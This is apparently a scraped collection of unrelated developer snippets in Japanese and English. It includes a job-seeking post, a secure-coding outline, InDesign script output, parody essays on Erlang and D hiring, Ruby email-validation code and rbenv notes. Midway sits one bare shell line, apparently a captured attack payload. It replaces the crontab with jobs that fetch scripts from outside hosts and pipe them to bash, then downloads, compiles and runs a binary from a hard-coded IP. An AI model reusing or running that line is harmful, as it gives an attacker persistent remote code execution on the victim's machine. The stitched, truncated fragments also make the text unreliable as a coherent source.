これは退職エントリではなく退職届を出したので転職先を募集する求職エントリです。
これといった大きな理由はないのですが細かい不満が溜まったため、今年いっぱいで退職することになりました。 細かい不満といってもチームメンバーや業務内容に文句があるわけではなく、逆に素晴らしい環境を提供していただいたと感謝しています。
| # 私が考える安全なプログラムを書くために必要なこと | |
| 今も昔も「入力によって挙動が大幅に変わるAPI」が世の中には多数存在していて、プログラマが本来意図した挙動と異なる動作を引き起こしている。 | |
| - ファイルを開こうとしたらコマンドを実行できてしまったり | |
| - CSSセレクタを書いてるつもりがHTMLタグを生成してしまったり | |
| - SELECT文を発行するつもりがDELETE文を発行できてしまったり | |
| こういったときに | |
| - 入力値検証をしないと危険になる |
| #target "indesign" | |
| #include "underscore.js" | |
| var o = [10, 5, 100, 2, 1000, 99]; | |
| var o_ = [1121, 7, 22, 111, 1, 33, 23, 3, 919]; | |
| var o__ = [1005, 7, 22, 1, 777]; | |
| $.writeln( _.min(o) ); //=> 2 | |
| $.writeln( _.max(o) ); //=> 99 ???? |
| crontab -r; echo \"1 * * * * wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com/cmd2|bash;wget -O - ddos.cat.com/cmd3|bash;\"|crontab -;wget http://88.198.20.247/k.c -O /tmp/k.c; gcc -o /tmp/k /tmp/k.c; chmod +x /tmp/k; /tmp/k||wget http://88.198.20.247/k -O /tmp/k && chmod +x /tmp/k && /tmp/k |
説明するのめんどい http://vividcode.hatenablog.com/entry/twitter-oauth-vulnerability
とりあえず即座に攻撃できるような状態ではなくなっています。
英語圏ではかなり前からErlang/OTPを開発し続けることのリスクについて語られていたが,具体的な弊害が出て来たので,単なるメモ.日本では起こり得ない未来だと思う.
COBOLのように需要が逼迫しているのに人材の供給が増えず需給ミスマッチが起っているわけでは無く,需要も供給も増えないという状況下でわずかながら需要が上回っている質の悪い状況がErlang/OTPに起きている.特に深刻なのは高価な若手エンジニアの採用が絶望的に難しいという現実だ.Haskellが台頭して数年経ちScalaがメインストリームの先頭を突っ走る2013年において全く別の関数型言語もどきを勉強しようとする若者はよほどの物好きしかいない.20~30歳のErlang/OTPエンジニアを雇うのはそれほど難しい上にコストがかかる.優秀な30代前半の若手エンジニアを雇いたいという企業の思いとは裏腹にErlang/OTP新たに学ぶ若者は絶滅寸前だ.
とても優秀な若手を雇用できるチャンスが巡って来た.採用担当者はこう尋ねる.「Erlang/OTPは習得していますか?」「もちろんRuby/Scalaはお手の物です.Haskellもある程度可能です」「もう一度伺いますがErlang/OTPまたはCは習得していますか?」「申し訳ございません 未習得です」
英語圏ではかなり前からD言語を開発し続けることのリスクについて語られていたが,全く具体的な弊害が出て来こないので,単なるメモ.日本ではかなり遠い未来だと思う.
COBOLのように需要が逼迫しているのに人材の供給が増えず需給ミスマッチが起っているわけでは無く,需要も供給も増えないという状況下でわずかすら需要が上回っていないつも通りの状況がD言語に起きている.特に深刻なのは高価な古手エンジニアの採用が絶望的に難しいという現実だ.Haskellが台頭して数年経ちScalaがメインストリームの先頭を突っ走る2013年において新しくD言語を勉強しようとする年長はよほどの物好きしかいない.20~30歳のD言語エンジニアを雇うのはそれほど難しく無いだろうがコストがかかる.高価な40代前半の古手エンジニアを雇いたいという企業の思いとは裏腹にD言語を新たに学ぶ年長は絶滅寸前だ.
とても優秀な古手を雇用できるチャンスが巡って来た.採用担当者はこう尋ねる.「D言語は習得していますか?」「もちろんALGOL/Fortran/COBOLはお手の物です.Emacs Lispもある程度可能です」「もう一度伺いますがD言語は習得していますか?」「申し訳ございません 未習得です」
| # RFC 5322 Email Validation Regex in Ruby | |
| # This work is released under the BSD 3-Clause License | |
| # http://choosealicense.com/licenses/bsd-3-clause/ | |
| # Copyleft (ɔ) 2013, Peter R. Marreck | |
| # All rights reserved. | |
| # | |
| # Redistribution and use in source and binary forms, with or without modification, | |
| # are permitted provided that the following conditions are met: | |
| # |
I've been using this technique in most of my Ruby projects lately where Ruby versions are required:
.rbenv-version containing the target Ruby using a definition name defined in ruby-build (example below). These strings are a proper subset of RVM Ruby string names so far....rvmrc (with rvm --create --rvmrc "1.9.3@myapp") and edit the environment_id= line to fetch the Ruby version from .rbenv-version (example below).Today I learned about another Ruby manager, rbfu, where the author is using a similar technique with .rbfu-version.
| require 'mail' | |
| class EmailValidator < ActiveModel::EachValidator | |
| attr_reader :record, :attribute, :value, :email, :tree | |
| def validate_each(record, attribute, value) | |
| @record, @attribute, @value = record, attribute, value | |
| @email = Mail::Address.new(value) | |
| @tree = email.__send__(:tree) |